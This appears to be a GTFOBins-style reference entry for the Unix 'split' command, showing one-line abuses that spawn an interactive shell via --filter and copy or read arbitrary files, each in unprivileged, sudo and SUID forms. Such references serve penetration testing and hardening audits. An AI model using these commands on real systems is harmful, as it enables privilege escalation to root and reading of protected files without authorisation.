split

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts
```

File write

This executable can write data to local files.

Version requirementsThe --additional-suffix flag is only available in the GNU version.
CommentThis copies the input file in the current working directory in a file named prefixaasuffix, just make sure to pick a value big enough, instead of 999.
Unprivileged
This function can be performed by any unprivileged user.
```
split -b 999 --additional-suffix suffix /path/to/input-file prefix
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
split -b 999 --additional-suffix suffix /path/to/input-file prefix
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
split -b 999 --additional-suffix suffix /path/to/input-file prefix
```

File read

This executable can read data from local files.

Version requirementsThe --additional-suffix flag is only available in the GNU version.
CommentThis copies the input file in the current working directory in a file named prefixaasuffix, just make sure to pick a value big enough, instead of 999.
Unprivileged
This function can be performed by any unprivileged user.
```
split -b 999 --additional-suffix suffix /path/to/input-file prefix
cat prefixaasuffix
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
split -b 999 --additional-suffix suffix /path/to/input-file prefix
cat prefixaasuffix
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
split -b 999 --additional-suffix suffix /path/to/input-file prefix
cat prefixaasuffix
```